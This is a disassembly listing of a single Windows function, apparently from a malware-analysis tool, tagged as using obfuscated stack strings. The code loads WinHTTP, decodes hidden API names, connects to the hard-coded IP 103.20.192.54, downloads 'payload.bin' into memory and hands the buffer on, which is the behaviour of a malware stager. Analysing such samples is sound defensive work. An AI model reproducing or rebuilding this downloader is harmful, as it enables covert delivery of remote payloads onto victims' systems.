Function at 0x140001100
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x140001100
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0x6b8
mov rdi, rsp
movabs rcx, 0x1ae
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x6d0]
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x6a0], rax
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x60], 0
mov dword [rsp + 0x68], 0
mov byte [rsp + 0x78], 0x57
mov byte [rsp + 0x79], 0x69
mov byte [rsp + 0x7a], 0x6e
mov byte [rsp + 0x7b], 0x68
mov byte [rsp + 0x7c], 0x74
mov byte [rsp + 0x7d], 0x74
mov byte [rsp + 0x7e], 0x70
mov byte [rsp + 0x7f], 0x2e
mov byte [rsp + 0x80], 0x64
mov byte [rsp + 0x81], 0x6c
mov byte [rsp + 0x82], 0x6c
mov byte [rsp + 0x83], 0
lea rcx, [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x1400214a0], rax
xor r8d, r8d
xor edx, edx
mov ecx, 0x40000
call qword [sym.imp.KERNEL32.dll_HeapCreate]
mov qword [rsp + 0x98], rax
mov r8d, 0x1000
mov edx, 8
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x60], rax
mov byte [rsp + 0xa8], 0x63
mov byte [rsp + 0xa9], 5
mov byte [rsp + 0xaa], 0x2a
mov byte [rsp + 0xab], 3
mov byte [rsp + 0xac], 7
mov byte [rsp + 0xad], 0x23
mov byte [rsp + 0xae], 0x44
mov byte [rsp + 0xaf], 0x23
mov byte [rsp + 0xb0], 0x34
mov byte [rsp + 0xb1], 0x2e
mov byte [rsp + 0xb2], 0x1d
mov byte [rsp + 0xb3], 0
mov byte [rsp + 0xd4], 0x34
mov byte [rsp + 0xd5], 0x6c
mov byte [rsp + 0xd6], 0x44
mov byte [rsp + 0xd7], 0x4b
mov byte [rsp + 0xd8], 0x73
mov byte [rsp + 0xd9], 0x57
mov byte [rsp + 0xda], 0
lea r8, [rsp + 0xd4]
mov edx, 0xc
lea rcx, [rsp + 0xa8]
call fcn.14000100a
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [0x14001aab0]
call rax
mov qword [rsp + 0x40], rax
mov byte [rsp + 0xf8], 3
mov byte [rsp + 0xf9], 0x1c
mov byte [rsp + 0xfa], 0
mov byte [rsp + 0xfb], 0x3c
mov byte [rsp + 0xfc], 0x16
mov byte [rsp + 0xfd], 0x35
mov byte [rsp + 0xfe], 0x24
mov byte [rsp + 0xff], 0x36
mov byte [rsp + 0x100], 1
mov byte [rsp + 0x101], 0x1a
mov byte [rsp + 0x102], 0xc
mov byte [rsp + 0x103], 0x24
mov byte [rsp + 0x104], 0x37
mov byte [rsp + 0x105], 1
mov byte [rsp + 0x106], 0
mov byte [rsp + 0x124], 0x54
mov byte [rsp + 0x125], 0x75
mov byte [rsp + 0x126], 0x6e
mov byte [rsp + 0x127], 0x74
mov byte [rsp + 0x128], 0x62
mov byte [rsp + 0x129], 0x41
mov byte [rsp + 0x12a], 0
lea r8, [rsp + 0x124]
mov edx, 0xf
lea rcx, [rsp + 0xf8]
call fcn.14000100a
xor r9d, r9d
mov r8w, 0x118
lea rdx, str.103.20.192.54
mov rcx, qword [rsp + 0x40]
call rax
mov qword [rsp + 0x48], rax
mov byte [rsp + 0x148], 0x11
mov byte [rsp + 0x149], 0x22
mov byte [rsp + 0x14a], 0x1d
mov byte [rsp + 0x14b], 0x2a
mov byte [rsp + 0x14c], 0x35
mov byte [rsp + 0x14d], 0x2c
mov byte [rsp + 0x14e], 0x36
mov byte [rsp + 0x14f], 4
mov byte [rsp + 0x150], 3
mov byte [rsp + 0x151], 7
mov byte [rsp + 0x152], 0x2f
mov byte [rsp + 0x153], 0xa
mov byte [rsp + 0x154], 0x23
mov byte [rsp + 0x155], 0x3a
mov byte [rsp + 0x156], 6
mov byte [rsp + 0x157], 7
mov byte [rsp + 0x158], 0x32
mov byte [rsp + 0x159], 0x2c
mov byte [rsp + 0x15a], 0
mov byte [rsp + 0x174], 0x46
mov byte [rsp + 0x175], 0x4b
mov byte [rsp + 0x176], 0x73
mov byte [rsp + 0x177], 0x62
mov byte [rsp + 0x178], 0x41
mov byte [rsp + 0x179], 0x58
mov byte [rsp + 0x17a], 0
lea r8, [rsp + 0x174]
mov edx, 0x13
lea rcx, [rsp + 0x148]
call fcn.14000100a
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.payload.bin
lea rdx, [0x14001aaf0]
mov rcx, qword [rsp + 0x48]
call rax
mov qword [rsp + 0x50], rax
mov byte [rsp + 0x198], 4
mov byte [rsp + 0x199], 0x19
mov byte [rsp + 0x19a], 0x26
mov byte [rsp + 0x19b], 0x25
mov byte [rsp + 0x19c], 0x37
mov byte [rsp + 0x19d], 0x42
mov byte [rsp + 0x19e], 0x23
mov byte [rsp + 0x19f], 0x23
mov byte [rsp + 0x1a0], 0x2d
mov byte [rsp + 0x1a1], 3
mov byte [rsp + 0x1a2], 0x27
mov byte [rsp + 0x1a3], 0x64
mov byte [rsp + 0x1a4], 0x36
mov byte [rsp + 0x1a5], 1
mov byte [rsp + 0x1a6], 0x3d
mov byte [rsp + 0x1a7], 8
mov byte [rsp + 0x1a8], 0x30
mov byte [rsp + 0x1a9], 0x42
mov byte [rsp + 0x1aa], 0
mov byte [rsp + 0x1c4], 0x53
mov byte [rsp + 0x1c5], 0x70
mov byte [rsp + 0x1c6], 0x48
mov byte [rsp + 0x1c7], 0x6d
mov byte [rsp + 0x1c8], 0x43
mov byte [rsp + 0x1c9], 0x36
mov byte [rsp + 0x1ca], 0
lea r8, [rsp + 0x1c4]
mov edx, 0x13
lea rcx, [rsp + 0x198]
call fcn.14000100a
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x50]
call rax
mov dword [rsp + 0x58], eax
mov byte [rsp + 0x1e8], 0x1b
mov byte [rsp + 0x1e9], 0xa
mov byte [rsp + 0x1ea], 0x1b
mov byte [rsp + 0x1eb], 0xa
mov byte [rsp + 0x1ec], 4
mov byte [rsp + 0x1ed], 0x23
mov byte [rsp + 0x1ee], 0x3c
mov byte [rsp + 0x1ef], 0x31
mov byte [rsp + 0x1f0], 0x10
mov byte [rsp + 0x1f1], 0x21
mov byte [rsp + 0x1f2], 0x15
mov byte [rsp + 0x1f3], 0x3e
mov byte [rsp + 0x1f4], 0x3a
mov byte [rsp + 0x1f5], 6
mov byte [rsp + 0x1f6], 0x27
mov byte [rsp + 0x1f7], 0x27
mov byte [rsp + 0x1f8], 3
mov byte [rsp + 0x1f9], 0x27
mov byte [rsp + 0x1fa], 0x23
mov byte [rsp + 0x1fb], 0xd
mov byte [rsp + 0x1fc], 6
mov byte [rsp + 0x1fd], 0x27
mov byte [rsp + 0x1fe], 0
mov byte [rsp + 0x214], 0x4c
mov byte [rsp + 0x215], 0x63
mov byte [rsp + 0x216], 0x75
mov byte [rsp + 0x217], 0x42
mov byte [rsp + 0x218], 0x70
mov byte [rsp + 0x219], 0x57
mov byte [rsp + 0x21a], 0
lea r8, [rsp + 0x214]
mov edx, 0x17
lea rcx, [rsp + 0x1e8]
call fcn.14000100a
xor edx, edx
mov rcx, qword [rsp + 0x50]
call rax
mov dword [rsp + 0x58], eax
mov byte [rsp + 0x238], 0x32
mov byte [rsp + 0x239], 6
mov byte [rsp + 0x23a], 0x5b
mov byte [rsp + 0x23b], 0x1c
mov byte [rsp + 0x23c], 0x27
mov byte [rsp + 0x23d], 0x10
mov byte [rsp + 0x23e], 0x15
mov byte [rsp + 0x23f], 0x3e
mov byte [rsp + 0x240], 0x40
mov byte [rsp + 0x241], 0x31
mov byte [rsp + 0x242], 0x21
mov byte [rsp + 0x243], 0x1d
mov byte [rsp + 0x244], 0x21
mov byte [rsp + 0x245], 0xe
mov byte [rsp + 0x246], 0x41
mov byte [rsp + 0x247], 0x35
mov byte [rsp + 0x248], 0x12
mov byte [rsp + 0x249], 0x12
mov byte [rsp + 0x24a], 4
mov byte [rsp + 0x24b], 6
mov byte [rsp + 0x24c], 0x59
mov byte [rsp + 0x24d], 0x35
mov byte [rsp + 0x24e], 0x31
mov byte [rsp + 0x24f], 8
mov byte [rsp + 0x250], 0
mov byte [rsp + 0x251], 0
mov byte [rsp + 0x274], 0x65
mov byte [rsp + 0x275], 0x6f
mov byte [rsp + 0x276], 0x35
mov byte [rsp + 0x277], 0x54
mov byte [rsp + 0x278], 0x53
mov byte [rsp + 0x279], 0x64
mov byte [rsp + 0x27a], 0
mov byte [rsp + 0x298], 0x6f
mov byte [rsp + 0x299], 0x2f
mov byte [rsp + 0x29a], 0xc
mov byte [rsp + 0x29b], 0x3a
mov byte [rsp + 0x29c], 0xc
mov byte [rsp + 0x29d], 0x1a
mov byte [rsp + 0x29e], 0x48
mov byte [rsp + 0x29f], 0x14
mov byte [rsp + 0x2a0], 7
mov byte [rsp + 0x2a1], 0x13
mov byte [rsp + 0x2a2], 0x1c
mov byte [rsp + 0x2a3], 0x2a
mov byte [rsp + 0x2a4], 0x59
mov byte [rsp + 0x2a5], 0x32
mov byte [rsp + 0x2a6], 3
mov byte [rsp + 0x2a7], 0
mov byte [rsp + 0x2c4], 0x38
mov byte [rsp + 0x2c5], 0x46
mov byte [rsp + 0x2c6], 0x62
mov byte [rsp + 0x2c7], 0x72
mov byte [rsp + 0x2c8], 0x78
mov byte [rsp + 0x2c9], 0x6e
mov byte [rsp + 0x2ca], 0
mov byte [rsp + 0x2e8], 0x2d
mov byte [rsp + 0x2e9], 0x33
mov byte [rsp + 0x2ea], 0xd
mov byte [rsp + 0x2eb], 0x7d
mov byte [rsp + 0x2ec], 0x24
mov byte [rsp + 0x2ed], 0x1d
mov byte [rsp + 0x2ee], 0xa
mov byte [rsp + 0x2ef], 0x19
mov byte [rsp + 0x2f0], 0xf
mov byte [rsp + 0x2f1], 0x5a
mov byte [rsp + 0x2f2], 0x23
mov byte [rsp + 0x2f3], 0xc
mov byte [rsp + 0x2f4], 0x32
mov byte [rsp + 0x2f5], 0x3b
mov byte [rsp + 0x2f6], 0xd
mov byte [rsp + 0x2f7], 0x51
mov byte [rsp + 0x2f8], 0x3c
mov byte [rsp + 0x2f9], 0xc
mov byte [rsp + 0x2fa], 0
mov byte [rsp + 0x314], 0x7a
mov byte [rsp + 0x315], 0x5a
mov byte [rsp + 0x316], 0x63
mov byte [rsp + 0x317], 0x35
mov byte [rsp + 0x318], 0x50
mov byte [rsp + 0x319], 0x69
mov byte [rsp + 0x31a], 0
mov qword [rsp + 0x328], 0
mov qword [rsp + 0x330], 0
mov qword [rsp + 0x338], 0
xor eax, eax
cmp eax, 1
je 0x140001ab9
mov dword [rsp + 0x344], 0
cmp qword [rsp + 0x328], 0
jne 0x1400019fb
lea r8, [rsp + 0x274]
mov edx, 0x1a
lea rcx, [rsp + 0x238]
call fcn.14000100a
mov qword [rsp + 0x328], rax
lea rdx, [rsp + 0x344]
mov rcx, qword [rsp + 0x50]
call qword [rsp + 0x328]
cmp dword [rsp + 0x344], 0
jne 0x140001a1e
jmp 0x140001ab9
mov byte [rsp + 0x370], 0
lea rdi, [rsp + 0x371]
xor eax, eax
mov ecx, 0x31f
rep stosb byte [rdi], al
cmp qword [rsp + 0x330], 0
jne 0x140001a64
lea r8, [rsp + 0x2c4]
mov edx, 0x10
lea rcx, [rsp + 0x298]
call fcn.14000100a
mov qword [rsp + 0x330], rax
lea r9, [rsp + 0x344]
mov r8d, 0x320
lea rdx, [rsp + 0x370]
mov rcx, qword [rsp + 0x50]
call qword [rsp + 0x330]
mov ecx, dword [rsp + 0x344]
mov eax, dword [rsp + 0x68]
mov rdi, qword [rsp + 0x60]
add rdi, rax
lea rsi, [rsp + 0x370]
rep movsb byte [rdi], byte [rsi]
mov edx, dword [rsp + 0x344]
mov eax, dword [rsp + 0x68]
add eax, edx
mov dword [rsp + 0x68], eax
jmp 0x1400019b8
cmp qword [rsp + 0x338], 0
jne 0x140001ae6
lea r8, [rsp + 0x314]
mov edx, 0x13
lea rcx, [rsp + 0x2e8]
call fcn.14000100a
mov qword [rsp + 0x338], rax
mov rcx, qword [rsp + 0x50]
call qword [rsp + 0x338]
mov rcx, qword [rsp + 0x48]
call qword [rsp + 0x338]
mov rcx, qword [rsp + 0x40]
call qword [rsp + 0x338]
mov rcx, qword [rsp + 0x60]
call fcn.140002140
xor eax, eax
mov rdi, rax
mov rcx, rsp
lea rdx, [0x14001b050]
call fcn.140002190
mov rax, rdi
mov rcx, qword [rsp + 0x6a0]
xor rcx, rsp
call fcn.140002170
add rsp, 0x6b8
pop rdi
pop rsi
ret